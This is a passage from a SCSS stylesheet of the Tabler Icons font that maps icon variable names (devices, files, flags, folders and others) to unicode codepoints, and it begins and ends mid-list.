unicode('f890');\n$ti-icon-device-ipad-horizontal-code: unicode('f891');\n$ti-icon-device-ipad-horizontal-cog: unicode('f892');\n$ti-icon-device-ipad-horizontal-dollar: unicode('f893');\n$ti-icon-device-ipad-horizontal-down: unicode('f894');\n$ti-icon-device-ipad-horizontal-exclamation: unicode('f895');\n$ti-icon-device-ipad-horizontal-heart: unicode('f896');\n$ti-icon-device-ipad-horizontal-minus: unicode('f897');\n$ti-icon-device-ipad-horizontal-off: unicode('f898');\n$ti-icon-device-ipad-horizontal-pause: unicode('f899');\n$ti-icon-device-ipad-horizontal-pin: unicode('f89a');\n$ti-icon-device-ipad-horizontal-plus: unicode('f89b');\n$ti-icon-device-ipad-horizontal-question: unicode('f89c');\n$ti-icon-device-ipad-horizontal-search: unicode('f89d');\n$ti-icon-device-ipad-horizontal-share: unicode('f89e');\n$ti-icon-device-ipad-horizontal-star: unicode('f89f');\n$ti-icon-device-ipad-horizontal-up: unicode('f8a0');\n$ti-icon-device-ipad-horizontal-x: unicode('f8a1');\n$ti-icon-device-ipad-minus: unicode('f8a2');\n$ti-icon-device-ipad-off: unicode('f8a3');\n$ti-icon-device-ipad-pause: unicode('f8a4');\n$ti-icon-device-ipad-pin: unicode('f8a5');\n$ti-icon-device-ipad-plus: unicode('f8a6');\n$ti-icon-device-ipad-question: unicode('f8a7');\n$ti-icon-device-ipad-search: unicode('f8a8');\n$ti-icon-device-ipad-share: unicode('f8a9');\n$ti-icon-device-ipad-star: unicode('f8aa');\n$ti-icon-device-ipad-up: unicode('f8ab');\n$ti-icon-device-ipad-x: unicode('f8ac');\n$ti-icon-device-landline-phone: unicode('f649');\n$ti-icon-device-laptop: unicode('eb64');\n$ti-icon-device-laptop-off: unicode('f061');\n$ti-icon-device-mobile: unicode('ea8a');\n$ti-icon-device-mobile-bolt: unicode('f8ad');\n$ti-icon-device-mobile-cancel: unicode('f8ae');\n$ti-icon-device-mobile-charging: unicode('f224');\n$ti-icon-device-mobile-check: unicode('f8af');\n$ti-icon-device-mobile-code: unicode('f8b0');\n$ti-icon-device-mobile-cog: unicode('f8b1');\n$ti-icon-device-mobile-dollar: unicode('f8b2');\n$ti-icon-device-mobile-down: unicode('f8b3');\n$ti-icon-device-mobile-exclamation: unicode('f8b4');\n$ti-icon-device-mobile-filled: unicode('fa39');\n$ti-icon-device-mobile-heart: unicode('f8b5');\n$ti-icon-device-mobile-message: unicode('ee79');\n$ti-icon-device-mobile-minus: unicode('f8b6');\n$ti-icon-device-mobile-off: unicode('f062');\n$ti-icon-device-mobile-pause: unicode('f8b7');\n$ti-icon-device-mobile-pin: unicode('f8b8');\n$ti-icon-device-mobile-plus: unicode('f8b9');\n$ti-icon-device-mobile-question: unicode('f8ba');\n$ti-icon-device-mobile-rotated: unicode('ecdb');\n$ti-icon-device-mobile-search: unicode('f8bb');\n$ti-icon-device-mobile-share: unicode('f8bc');\n$ti-icon-device-mobile-star: unicode('f8bd');\n$ti-icon-device-mobile-up: unicode('f8be');\n$ti-icon-device-mobile-vibration: unicode('eb86');\n$ti-icon-device-mobile-x: unicode('f8bf');\n$ti-icon-device-nintendo: unicode('f026');\n$ti-icon-device-nintendo-off: unicode('f111');\n$ti-icon-device-projector: unicode('fc11');\n$ti-icon-device-remote: unicode('f792');\n$ti-icon-device-sd-card: unicode('f384');\n$ti-icon-device-sim: unicode('f4b2');\n$ti-icon-device-sim-1: unicode('f4af');\n$ti-icon-device-sim-2: unicode('f4b0');\n$ti-icon-device-sim-3: unicode('f4b1');\n$ti-icon-device-speaker: unicode('ea8b');\n$ti-icon-device-speaker-off: unicode('f112');\n$ti-icon-device-tablet: unicode('ea8c');\n$ti-icon-device-tablet-bolt: unicode('f8c0');\n$ti-icon-device-tablet-cancel: unicode('f8c1');\n$ti-icon-device-tablet-check: unicode('f8c2');\n$ti-icon-device-tablet-code: unicode('f8c3');\n$ti-icon-device-tablet-cog: unicode('f8c4');\n$ti-icon-device-tablet-dollar: unicode('f8c5');\n$ti-icon-device-tablet-down: unicode('f8c6');\n$ti-icon-device-tablet-exclamation: unicode('f8c7');\n$ti-icon-device-tablet-filled: unicode('fa3a');\n$ti-icon-device-tablet-heart: unicode('f8c8');\n$ti-icon-device-tablet-minus: unicode('f8c9');\n$ti-icon-device-tablet-off: unicode('f063');\n$ti-icon-device-tablet-pause: unicode('f8ca');\n$ti-icon-device-tablet-pin: unicode('f8cb');\n$ti-icon-device-tablet-plus: unicode('f8cc');\n$ti-icon-device-tablet-question: unicode('f8cd');\n$ti-icon-device-tablet-search: unicode('f8ce');\n$ti-icon-device-tablet-share: unicode('f8cf');\n$ti-icon-device-tablet-star: unicode('f8d0');\n$ti-icon-device-tablet-up: unicode('f8d1');\n$ti-icon-device-tablet-x: unicode('f8d2');\n$ti-icon-device-tv: unicode('ea8d');\n$ti-icon-device-tv-off: unicode('f064');\n$ti-icon-device-tv-old: unicode('f1d3');\n$ti-icon-device-usb: unicode('fc59');\n$ti-icon-device-vision-pro: unicode('fae7');\n$ti-icon-device-watch: unicode('ebf9');\n$ti-icon-device-watch-bolt: unicode('f8d3');\n$ti-icon-device-watch-cancel: unicode('f8d4');\n$ti-icon-device-watch-check: unicode('f8d5');\n$ti-icon-device-watch-code: unicode('f8d6');\n$ti-icon-device-watch-cog: unicode('f8d7');\n$ti-icon-device-watch-dollar: unicode('f8d8');\n$ti-icon-device-watch-down: unicode('f8d9');\n$ti-icon-device-watch-exclamation: unicode('f8da');\n$ti-icon-device-watch-heart: unicode('f8db');\n$ti-icon-device-watch-minus: unicode('f8dc');\n$ti-icon-device-watch-off: unicode('f065');\n$ti-icon-device-watch-pause: unicode('f8dd');\n$ti-icon-device-watch-pin: unicode('f8de');\n$ti-icon-device-watch-plus: unicode('f8df');\n$ti-icon-device-watch-question: unicode('f8e0');\n$ti-icon-device-watch-search: unicode('f8e1');\n$ti-icon-device-watch-share: unicode('f8e2');\n$ti-icon-device-watch-star: unicode('f8e3');\n$ti-icon-device-watch-stats: unicode('ef7d');\n$ti-icon-device-watch-stats-2: unicode('ef7c');\n$ti-icon-device-watch-up: unicode('f8e4');\n$ti-icon-device-watch-x: unicode('f8e5');\n$ti-icon-devices: unicode('eb87');\n$ti-icon-devices-2: unicode('ed29');\n$ti-icon-devices-bolt: unicode('f8e6');\n$ti-icon-devices-cancel: unicode('f8e7');\n$ti-icon-devices-check: unicode('f8e8');\n$ti-icon-devices-code: unicode('f8e9');\n$ti-icon-devices-cog: unicode('f8ea');\n$ti-icon-devices-dollar: unicode('f8eb');\n$ti-icon-devices-down: unicode('f8ec');\n$ti-icon-devices-exclamation: unicode('f8ed');\n$ti-icon-devices-heart: unicode('f8ee');\n$ti-icon-devices-minus: unicode('f8ef');\n$ti-icon-devices-off: unicode('f3e4');\n$ti-icon-devices-pause: unicode('f8f0');\n$ti-icon-devices-pc: unicode('ee7a');\n$ti-icon-devices-pc-off: unicode('f113');\n$ti-icon-devices-pin: unicode('f8f1');\n$ti-icon-devices-plus: unicode('f8f2');\n$ti-icon-devices-question: unicode('f8f3');\n$ti-icon-devices-search: unicode('f8f4');\n$ti-icon-devices-share: unicode('f8f5');\n$ti-icon-devices-star: unicode('f8f6');\n$ti-icon-devices-up: unicode('f8f7');\n$ti-icon-devices-x: unicode('f8f8');\n$ti-icon-diabolo: unicode('fa9c');\n$ti-icon-diabolo-off: unicode('fa9a');\n$ti-icon-diabolo-plus: unicode('fa9b');\n$ti-icon-dialpad: unicode('f067');\n$ti-icon-dialpad-filled: unicode('fa3b');\n$ti-icon-dialpad-off: unicode('f114');\n$ti-icon-diamond: unicode('eb65');\n$ti-icon-diamond-filled: unicode('f73d');\n$ti-icon-diamond-off: unicode('f115');\n$ti-icon-diamonds: unicode('eff5');\n$ti-icon-diamonds-filled: unicode('f676');\n$ti-icon-dice: unicode('eb66');\n$ti-icon-dice-1: unicode('f08b');\n$ti-icon-dice-1-filled: unicode('f73e');\n$ti-icon-dice-2: unicode('f08c');\n$ti-icon-dice-2-filled: unicode('f73f');\n$ti-icon-dice-3: unicode('f08d');\n$ti-icon-dice-3-filled: unicode('f740');\n$ti-icon-dice-4: unicode('f08e');\n$ti-icon-dice-4-filled: unicode('f741');\n$ti-icon-dice-5: unicode('f08f');\n$ti-icon-dice-5-filled: unicode('f742');\n$ti-icon-dice-6: unicode('f090');\n$ti-icon-dice-6-filled: unicode('f743');\n$ti-icon-dice-filled: unicode('f744');\n$ti-icon-dimensions: unicode('ee7b');\n$ti-icon-direction: unicode('ebfb');\n$ti-icon-direction-arrows: unicode('fd36');\n$ti-icon-direction-horizontal: unicode('ebfa');\n$ti-icon-direction-sign: unicode('f1f7');\n$ti-icon-direction-sign-filled: unicode('f745');\n$ti-icon-direction-sign-off: unicode('f3e5');\n$ti-icon-directions: unicode('ea8e');\n$ti-icon-directions-off: unicode('f116');\n$ti-icon-disabled: unicode('ea8f');\n$ti-icon-disabled-2: unicode('ebaf');\n$ti-icon-disabled-off: unicode('f117');\n$ti-icon-disc: unicode('ea90');\n$ti-icon-disc-golf: unicode('f385');\n$ti-icon-disc-off: unicode('f118');\n$ti-icon-discount: unicode('ebbd');\n$ti-icon-discount-off: unicode('f3e7');\n$ti-icon-divide: unicode('ed5c');\n$ti-icon-dna: unicode('ee7d');\n$ti-icon-dna-2: unicode('ef5c');\n$ti-icon-dna-2-off: unicode('f119');\n$ti-icon-dna-off: unicode('f11a');\n$ti-icon-dog: unicode('f660');\n$ti-icon-dog-bowl: unicode('ef29');\n$ti-icon-door: unicode('ef4e');\n$ti-icon-door-enter: unicode('ef4c');\n$ti-icon-door-exit: unicode('ef4d');\n$ti-icon-door-off: unicode('f11b');\n$ti-icon-dots: unicode('ea95');\n$ti-icon-dots-circle-horizontal: unicode('ea91');\n$ti-icon-dots-diagonal: unicode('ea93');\n$ti-icon-dots-diagonal-2: unicode('ea92');\n$ti-icon-dots-vertical: unicode('ea94');\n$ti-icon-download: unicode('ea96');\n$ti-icon-download-off: unicode('f11c');\n$ti-icon-drag-drop: unicode('eb89');\n$ti-icon-drag-drop-2: unicode('eb88');\n$ti-icon-drone: unicode('ed79');\n$ti-icon-drone-off: unicode('ee7e');\n$ti-icon-drop-circle: unicode('efde');\n$ti-icon-droplet: unicode('ea97');\n$ti-icon-droplet-bolt: unicode('f8f9');\n$ti-icon-droplet-cancel: unicode('f8fa');\n$ti-icon-droplet-check: unicode('f8fb');\n$ti-icon-droplet-code: unicode('f8fc');\n$ti-icon-droplet-cog: unicode('f8fd');\n$ti-icon-droplet-dollar: unicode('f8fe');\n$ti-icon-droplet-down: unicode('f8ff');\n$ti-icon-droplet-exclamation: unicode('f900');\n$ti-icon-droplet-filled: unicode('ee80');\n$ti-icon-droplet-half: unicode('ee82');\n$ti-icon-droplet-half-2: unicode('ee81');\n$ti-icon-droplet-half-2-filled: unicode('fb6c');\n$ti-icon-droplet-half-filled: unicode('f6c5');\n$ti-icon-droplet-heart: unicode('f901');\n$ti-icon-droplet-minus: unicode('f902');\n$ti-icon-droplet-off: unicode('ee83');\n$ti-icon-droplet-pause: unicode('f903');\n$ti-icon-droplet-pin: unicode('f904');\n$ti-icon-droplet-plus: unicode('f905');\n$ti-icon-droplet-question: unicode('f906');\n$ti-icon-droplet-search: unicode('f907');\n$ti-icon-droplet-share: unicode('f908');\n$ti-icon-droplet-star: unicode('f909');\n$ti-icon-droplet-up: unicode('f90a');\n$ti-icon-droplet-x: unicode('f90b');\n$ti-icon-droplets: unicode('fc12');\n$ti-icon-dual-screen: unicode('fa59');\n$ti-icon-e-passport: unicode('f4df');\n$ti-icon-ear: unicode('ebce');\n$ti-icon-ear-off: unicode('ee84');\n$ti-icon-ear-scan: unicode('fd57');\n$ti-icon-ease-in: unicode('f573');\n$ti-icon-ease-in-control-point: unicode('f570');\n$ti-icon-ease-in-out: unicode('f572');\n$ti-icon-ease-in-out-control-points: unicode('f571');\n$ti-icon-ease-out: unicode('f575');\n$ti-icon-ease-out-control-point: unicode('f574');\n$ti-icon-edit: unicode('ea98');\n$ti-icon-edit-circle: unicode('ee85');\n$ti-icon-edit-circle-off: unicode('f11d');\n$ti-icon-edit-off: unicode('f11e');\n$ti-icon-egg: unicode('eb8a');\n$ti-icon-egg-cracked: unicode('f2d6');\n$ti-icon-egg-filled: unicode('f678');\n$ti-icon-egg-fried: unicode('f386');\n$ti-icon-egg-off: unicode('f11f');\n$ti-icon-eggs: unicode('f500');\n$ti-icon-elevator: unicode('efdf');\n$ti-icon-elevator-off: unicode('f3e8');\n$ti-icon-emergency-bed: unicode('ef5d');\n$ti-icon-empathize: unicode('f29b');\n$ti-icon-empathize-off: unicode('f3e9');\n$ti-icon-emphasis: unicode('ebcf');\n$ti-icon-engine: unicode('ef7e');\n$ti-icon-engine-off: unicode('f120');\n$ti-icon-equal: unicode('ee87');\n$ti-icon-equal-double: unicode('f4e1');\n$ti-icon-equal-not: unicode('ee86');\n$ti-icon-eraser: unicode('eb8b');\n$ti-icon-eraser-off: unicode('f121');\n$ti-icon-error-404: unicode('f027');\n$ti-icon-error-404-off: unicode('f122');\n$ti-icon-escalator: unicode('fb06');\n$ti-icon-escalator-down: unicode('fb04');\n$ti-icon-escalator-up: unicode('fb05');\n$ti-icon-exchange: unicode('ebe7');\n$ti-icon-exchange-off: unicode('f123');\n$ti-icon-exclamation-circle: unicode('f634');\n$ti-icon-exclamation-mark: unicode('efb4');\n$ti-icon-exclamation-mark-off: unicode('f124');\n$ti-icon-explicit: unicode('f256');\n$ti-icon-explicit-off: unicode('f3ea');\n$ti-icon-exposure: unicode('eb8c');\n$ti-icon-exposure-0: unicode('f29c');\n$ti-icon-exposure-minus-1: unicode('f29d');\n$ti-icon-exposure-minus-2: unicode('f29e');\n$ti-icon-exposure-off: unicode('f3eb');\n$ti-icon-exposure-plus-1: unicode('f29f');\n$ti-icon-exposure-plus-2: unicode('f2a0');\n$ti-icon-external-link: unicode('ea99');\n$ti-icon-external-link-off: unicode('f125');\n$ti-icon-eye: unicode('ea9a');\n$ti-icon-eye-bolt: unicode('fb6d');\n$ti-icon-eye-cancel: unicode('fb6e');\n$ti-icon-eye-check: unicode('ee88');\n$ti-icon-eye-closed: unicode('f7ec');\n$ti-icon-eye-code: unicode('fb6f');\n$ti-icon-eye-cog: unicode('f7ed');\n$ti-icon-eye-discount: unicode('fb70');\n$ti-icon-eye-dollar: unicode('fb71');\n$ti-icon-eye-down: unicode('fb72');\n$ti-icon-eye-edit: unicode('f7ee');\n$ti-icon-eye-exclamation: unicode('f7ef');\n$ti-icon-eye-filled: unicode('f679');\n$ti-icon-eye-heart: unicode('f7f0');\n$ti-icon-eye-minus: unicode('fb73');\n$ti-icon-eye-off: unicode('ecf0');\n$ti-icon-eye-pause: unicode('fb74');\n$ti-icon-eye-pin: unicode('fb75');\n$ti-icon-eye-plus: unicode('fb76');\n$ti-icon-eye-question: unicode('fb77');\n$ti-icon-eye-search: unicode('fb78');\n$ti-icon-eye-share: unicode('fb79');\n$ti-icon-eye-star: unicode('fb7a');\n$ti-icon-eye-table: unicode('ef5e');\n$ti-icon-eye-up: unicode('fb7b');\n$ti-icon-eye-x: unicode('f7f1');\n$ti-icon-eyeglass: unicode('ee8a');\n$ti-icon-eyeglass-2: unicode('ee89');\n$ti-icon-eyeglass-off: unicode('f126');\n$ti-icon-face-id: unicode('ea9b');\n$ti-icon-face-id-error: unicode('efa7');\n$ti-icon-face-mask: unicode('efb5');\n$ti-icon-face-mask-off: unicode('f127');\n$ti-icon-fall: unicode('ecb9');\n$ti-icon-favicon: unicode('fd65');\n$ti-icon-feather: unicode('ee8b');\n$ti-icon-feather-off: unicode('f128');\n$ti-icon-fence: unicode('ef2a');\n$ti-icon-fence-off: unicode('f129');\n$ti-icon-fidget-spinner: unicode('f068');\n$ti-icon-file: unicode('eaa4');\n$ti-icon-file-3d: unicode('f032');\n$ti-icon-file-alert: unicode('ede6');\n$ti-icon-file-analytics: unicode('ede7');\n$ti-icon-file-arrow-left: unicode('f033');\n$ti-icon-file-arrow-right: unicode('f034');\n$ti-icon-file-barcode: unicode('f035');\n$ti-icon-file-broken: unicode('f501');\n$ti-icon-file-certificate: unicode('ed4d');\n$ti-icon-file-chart: unicode('f036');\n$ti-icon-file-check: unicode('ea9c');\n$ti-icon-file-code: unicode('ebd0');\n$ti-icon-file-code-2: unicode('ede8');\n$ti-icon-file-cv: unicode('fa5a');\n$ti-icon-file-database: unicode('f037');\n$ti-icon-file-delta: unicode('f53d');\n$ti-icon-file-description: unicode('f028');\n$ti-icon-file-diff: unicode('ecf1');\n$ti-icon-file-digit: unicode('efa8');\n$ti-icon-file-dislike: unicode('ed2a');\n$ti-icon-file-dollar: unicode('efe0');\n$ti-icon-file-dots: unicode('f038');\n$ti-icon-file-download: unicode('ea9d');\n$ti-icon-file-euro: unicode('efe1');\n$ti-icon-file-export: unicode('ede9');\n$ti-icon-file-filled: unicode('f747');\n$ti-icon-file-function: unicode('f53e');\n$ti-icon-file-horizontal: unicode('ebb0');\n$ti-icon-file-import: unicode('edea');\n$ti-icon-file-infinity: unicode('f502');\n$ti-icon-file-info: unicode('edec');\n$ti-icon-file-invoice: unicode('eb67');\n$ti-icon-file-lambda: unicode('f53f');\n$ti-icon-file-like: unicode('ed2b');\n$ti-icon-file-minus: unicode('ea9e');\n$ti-icon-file-music: unicode('ea9f');\n$ti-icon-file-neutral: unicode('fd22');\n$ti-icon-file-off: unicode('ecf2');\n$ti-icon-file-orientation: unicode('f2a1');\n$ti-icon-file-pencil: unicode('f039');\n$ti-icon-file-percent: unicode('f540');\n$ti-icon-file-phone: unicode('ecdc');\n$ti-icon-file-plus: unicode('eaa0');\n$ti-icon-file-power: unicode('f03a');\n$ti-icon-file-report: unicode('eded');\n$ti-icon-file-rss: unicode('f03b');\n$ti-icon-file-sad: unicode('fd23');\n$ti-icon-file-scissors: unicode('f03c');\n$ti-icon-file-search: unicode('ed5d');\n$ti-icon-file-settings: unicode('f029');\n$ti-icon-file-shredder: unicode('eaa1');\n$ti-icon-file-signal: unicode('f03d');\n$ti-icon-file-smile: unicode('fd24');\n$ti-icon-file-spreadsheet: unicode('f03e');\n$ti-icon-file-stack: unicode('f503');\n$ti-icon-file-star: unicode('f03f');\n$ti-icon-file-symlink: unicode('ed53');\n$ti-icon-file-text: unicode('eaa2');\n$ti-icon-file-text-ai: unicode('fa27');\n$ti-icon-file-time: unicode('f040');\n$ti-icon-file-type-bmp: unicode('fb07');\n$ti-icon-file-type-css: unicode('fb08');\n$ti-icon-file-type-csv: unicode('fb09');\n$ti-icon-file-type-doc: unicode('fb0a');\n$ti-icon-file-type-docx: unicode('fb0b');\n$ti-icon-file-type-html: unicode('fb0c');\n$ti-icon-file-type-jpg: unicode('fb0d');\n$ti-icon-file-type-js: unicode('fb0e');\n$ti-icon-file-type-jsx: unicode('fb0f');\n$ti-icon-file-type-pdf: unicode('fb10');\n$ti-icon-file-type-php: unicode('fb11');\n$ti-icon-file-type-png: unicode('fb12');\n$ti-icon-file-type-ppt: unicode('fb13');\n$ti-icon-file-type-rs: unicode('fb14');\n$ti-icon-file-type-sql: unicode('fb15');\n$ti-icon-file-type-svg: unicode('fb16');\n$ti-icon-file-type-ts: unicode('fb17');\n$ti-icon-file-type-tsx: unicode('fb18');\n$ti-icon-file-type-txt: unicode('fb19');\n$ti-icon-file-type-vue: unicode('fb1a');\n$ti-icon-file-type-xls: unicode('fb1b');\n$ti-icon-file-type-xml: unicode('fb1c');\n$ti-icon-file-type-zip: unicode('fb1d');\n$ti-icon-file-typography: unicode('f041');\n$ti-icon-file-unknown: unicode('f042');\n$ti-icon-file-upload: unicode('ec91');\n$ti-icon-file-vector: unicode('f043');\n$ti-icon-file-x: unicode('eaa3');\n$ti-icon-file-x-filled: unicode('f748');\n$ti-icon-file-zip: unicode('ed4e');\n$ti-icon-files: unicode('edef');\n$ti-icon-files-off: unicode('edee');\n$ti-icon-filter: unicode('eaa5');\n$ti-icon-filter-bolt: unicode('fb7c');\n$ti-icon-filter-cancel: unicode('fb7d');\n$ti-icon-filter-check: unicode('fb7e');\n$ti-icon-filter-code: unicode('fb7f');\n$ti-icon-filter-cog: unicode('f9fe');\n$ti-icon-filter-discount: unicode('fb80');\n$ti-icon-filter-dollar: unicode('f9ff');\n$ti-icon-filter-down: unicode('fb81');\n$ti-icon-filter-edit: unicode('fa00');\n$ti-icon-filter-exclamation: unicode('fb82');\n$ti-icon-filter-filled: unicode('fc27');\n$ti-icon-filter-heart: unicode('fb83');\n$ti-icon-filter-minus: unicode('fa01');\n$ti-icon-filter-off: unicode('ed2c');\n$ti-icon-filter-pause: unicode('fb84');\n$ti-icon-filter-pin: unicode('fb85');\n$ti-icon-filter-plus: unicode('fa02');\n$ti-icon-filter-question: unicode('fb86');\n$ti-icon-filter-search: unicode('fb87');\n$ti-icon-filter-share: unicode('fb88');\n$ti-icon-filter-star: unicode('fa03');\n$ti-icon-filter-up: unicode('fb89');\n$ti-icon-filter-x: unicode('fa04');\n$ti-icon-filters: unicode('f793');\n$ti-icon-fingerprint: unicode('ebd1');\n$ti-icon-fingerprint-off: unicode('f12a');\n$ti-icon-fingerprint-scan: unicode('fcb5');\n$ti-icon-fire-extinguisher: unicode('faf6');\n$ti-icon-fire-hydrant: unicode('f3a9');\n$ti-icon-fire-hydrant-off: unicode('f3ec');\n$ti-icon-firetruck: unicode('ebe8');\n$ti-icon-first-aid-kit: unicode('ef5f');\n$ti-icon-first-aid-kit-off: unicode('f3ed');\n$ti-icon-fish: unicode('ef2b');\n$ti-icon-fish-bone: unicode('f287');\n$ti-icon-fish-christianity: unicode('f58b');\n$ti-icon-fish-hook: unicode('f1f9');\n$ti-icon-fish-hook-off: unicode('f3ee');\n$ti-icon-fish-off: unicode('f12b');\n$ti-icon-flag: unicode('eaa6');\n$ti-icon-flag-2: unicode('ee8c');\n$ti-icon-flag-2-filled: unicode('f707');\n$ti-icon-flag-2-off: unicode('f12c');\n$ti-icon-flag-3: unicode('ee8d');\n$ti-icon-flag-3-filled: unicode('f708');\n$ti-icon-flag-bolt: unicode('fb8a');\n$ti-icon-flag-cancel: unicode('fb8b');\n$ti-icon-flag-check: unicode('fb8c');\n$ti-icon-flag-code: unicode('fb8d');\n$ti-icon-flag-cog: unicode('fb8e');\n$ti-icon-flag-discount: unicode('fb8f');\n$ti-icon-flag-dollar: unicode('fb90');\n$ti-icon-flag-down: unicode('fb91');\n$ti-icon-flag-exclamation: unicode('fb92');\n$ti-icon-flag-filled: unicode('f67a');\n$ti-icon-flag-heart: unicode('fb93');\n$ti-icon-flag-minus: unicode('fb94');\n$ti-icon-flag-off: unicode('f12d');\n$ti-icon-flag-pause: unicode('fb95');\n$ti-icon-flag-pin: unicode('fb96');\n$ti-icon-flag-plus: unicode('fb97');\n$ti-icon-flag-question: unicode('fb98');\n$ti-icon-flag-search: unicode('fb99');\n$ti-icon-flag-share: unicode('fb9a');\n$ti-icon-flag-star: unicode('fb9b');\n$ti-icon-flag-up: unicode('fb9c');\n$ti-icon-flag-x: unicode('fb9d');\n$ti-icon-flame: unicode('ec2c');\n$ti-icon-flame-off: unicode('f12e');\n$ti-icon-flare: unicode('ee8e');\n$ti-icon-flask: unicode('ebd2');\n$ti-icon-flask-2: unicode('ef60');\n$ti-icon-flask-2-filled: unicode('fd12');\n$ti-icon-flask-2-off: unicode('f12f');\n$ti-icon-flask-filled: unicode('fd13');\n$ti-icon-flask-off: unicode('f130');\n$ti-icon-flip-flops: unicode('f564');\n$ti-icon-flip-horizontal: unicode('eaa7');\n$ti-icon-flip-vertical: unicode('eaa8');\n$ti-icon-float-center: unicode('ebb1');\n$ti-icon-float-left: unicode('ebb2');\n$ti-icon-float-none: unicode('ed13');\n$ti-icon-float-right: unicode('ebb3');\n$ti-icon-flower: unicode('eff6');\n$ti-icon-flower-off: unicode('f131');\n$ti-icon-focus: unicode('eb8d');\n$ti-icon-focus-2: unicode('ebd3');\n$ti-icon-focus-auto: unicode('fa62');\n$ti-icon-focus-centered: unicode('f02a');\n$ti-icon-fold: unicode('ed56');\n$ti-icon-fold-down: unicode('ed54');\n$ti-icon-fold-up: unicode('ed55');\n$ti-icon-folder: unicode('eaad');\n$ti-icon-folder-bolt: unicode('f90c');\n$ti-icon-folder-cancel: unicode('f90d');\n$ti-icon-folder-check: unicode('f90e');\n$ti-icon-folder-code: unicode('f90f');\n$ti-icon-folder-cog: unicode('f910');\n$ti-icon-folder-dollar: unicode('f911');\n$ti-icon-folder-down: unicode('f912');\n$ti-icon-folder-exclamation: unicode('f913');\n$ti-icon-folder-filled: unicode('f749');\n$ti-icon-folder-heart: unicode('f914');\n$ti-icon-folder-minus: unicode('eaaa');\n$ti-icon-folder-off: unicode('ed14');\n$ti-icon-folder-open: unicode('faf7');\n$ti-icon-folder-pause: unicode('f915');\n$ti-icon-folder-pin: unicode('f916');\n$ti-icon-folder-plus: unicode('eaab');\n$ti-icon-folder-question: unicode('f917');\n$ti-icon-folder-root: unicode('fd43');\n$ti-icon-folder-search: unicode('f918');\n$ti-icon-folder-share: unicode('f919');\n$ti-icon-folder-star: unicode('f91a');\n$ti-icon-folder-symlink: unicode('f91b');\n$ti-icon-folder-up: unicode('f91c');\n$ti-icon-folder-x: unicode('eaac');\n$ti-icon-folders: unicode('eaae');\n$ti-icon-folders-off: unicode('f133');\n$ti-icon-forbid: unicode('ebd5');\n$ti-icon-forbid-2: unicode('ebd4');\n$ti-icon-forbid-2-filled: unicode('fc28');\n$ti-icon-forbid-filled: unicode('fc29');\n$ti-icon-forklift: unicode('ebe9');\n$ti-icon-forms: unicode('ee8f');\n$ti-icon-fountain: unicode('f09b');\n$ti-icon-fountain-filled: unicode('fc2a');\n$ti-icon-fountain-off: unicode('f134');\n$ti-icon-frame: unicode('eaaf');\n$ti-icon-frame-off: unicode('f135');\n$ti-icon-free-rights: unicode('efb6');\n$ti-icon-freeze-column: unicode('fa63');\n$ti-icon-freeze-row: unicode('fa65');\n$ti-icon-freeze-row-column: unicode('fa64');\n$ti-icon-fridge: unicode('f1fa');\n$ti-icon-fridge-off: unicode('f3ef');\n$ti-icon-friends: unicode('eab0');\n$ti-icon-friends-off: unicode('f136');\n$ti-icon-frustum: unicode('fa9f');\n$ti-icon-frustum-off: unicode('fa9d');\n$ti-icon-frustum-plus: unicode('fa9e');\n$ti-icon-function: unicode('f225');\n$ti-icon-function-filled: unicode('fc2b');\n$ti-icon-function-off: unicode('f3f0');\n$ti-icon-galaxy: unicode('fcb6');\n$ti-icon-garden-cart: unicode('f23e');\n$ti-icon-garden-cart-off: unicode('f3f1');\n$ti-icon-gas-station: unicode('ec7d');\n$ti-icon-gas-station-off: unicode('f137');\n$ti-icon-gauge: unicode('eab1');\n$ti-icon-gauge-filled: unicode('fc2c');\n$ti-icon-gauge-off: unicode('f138');\n$ti-icon-gavel: unicode('ef90');\n$ti-icon-gender-agender: unicode('f0e1');\n$ti-icon-gender-androgyne: unicode('f0e2');\n$ti-icon-gender-bigender: unicode('f0e3');\n$ti-icon-gender-demiboy: unicode('f0e4');\n$ti-icon-gender-demigirl: unicode('f0e5');\n$ti-icon-gender-epicene: unicode('f0e6');\n$ti-icon-gender-female: unicode('f0e7');\n$ti-icon-gender-femme: unicode('f0e8');\n$ti-icon-gender-genderfluid: unicode('f0e9');\n$ti-icon-gender-genderless: unicode('f0ea');\n$ti-icon-gender-genderqueer: unicode('f0eb');\n$ti-icon-gender-hermaphrodite: unicode('f0ec');\n$ti-icon-gender-intergender: unicode('f0ed');\n$ti-icon-gender-male: unicode('f0ee');\n$ti-icon-gender-neutrois: unicode('f0ef');\n$ti-icon-gender-third: unicode('f0f0');\n$ti-icon-gender-transgender: unicode('f0f1');\n$ti-icon-gender-trasvesti: unicode('f0f2');\n$ti-icon-geometry: unicode('ee90');\n$ti-icon-ghost: unicode('eb8e');\n$ti-icon-ghost-2: unicode('f57c');\n$ti-icon-ghost-2-filled: unicode('f74a');\n$ti-icon-ghost-3: unicode('fc13');\n$ti-icon-ghost-filled: unicode('f74b');\n$ti-icon-ghost-off: unicode('f3f2');\n$ti-icon-gif: unicode('f257');\n$ti-icon-gift: unicode('eb68');\n$ti-icon-gift-card: unicode('f3aa');\n$ti-icon-gift-card-filled: unicode('fc2d');\n$ti-icon-gift-filled: unicode('fd14');\n$ti-icon-gift-off: unicode('f3f3');\n$ti-icon-git-branch: unicode('eab2');\n$ti-icon-git-branch-deleted: unicode('f57d');\n$ti-icon-git-cherry-pick: unicode('f57e');\n$ti-icon-git-commit: unicode('eab3');\n$ti-icon-git-compare: unicode('eab4');\n$ti-icon-git-fork: unicode('eb8f');\n$ti-icon-git-merge: unicode('eab5');\n$ti-icon-git-pull-request: unicode('eab6');\n$ti-icon-git-pull-request-closed: unicode('ef7f');\n$ti-icon-git-pull-request-draft: unicode('efb7');\n$ti-icon-gizmo: unicode('f02b');\n$ti-icon-glass: unicode('eab8');\n$ti-icon-glass-champagne: unicode('fd9c');\n$ti-icon-glass-cocktail: unicode('fd9d');\n$ti-icon-glass-full: unicode('eab7');\n$ti-icon-glass-full-filled: unicode('fc2e');\n$ti-icon-glass-gin: unicode('fd9e');\n$ti-icon-glass-off: unicode('ee91');\n$ti-icon-globe: unicode('eab9');\n$ti-icon-globe-filled: unicode('fc2f');\n$ti-icon-globe-off: unicode('f139');\n$ti-icon-go-game: unicode('f512');\n$ti-icon-golf: unicode('ed8c');\n$ti-icon-golf-off: unicode('f13a');\n$ti-icon-gps: unicode('ed7a');\n$ti-icon-gps-filled: unicode('fe48');\n$ti-icon-gradienter: unicode('f3ab');\n$ti-icon-grain: unicode('ee92');\n$ti-icon-graph: unicode('f288');\n$ti-icon-graph-filled: 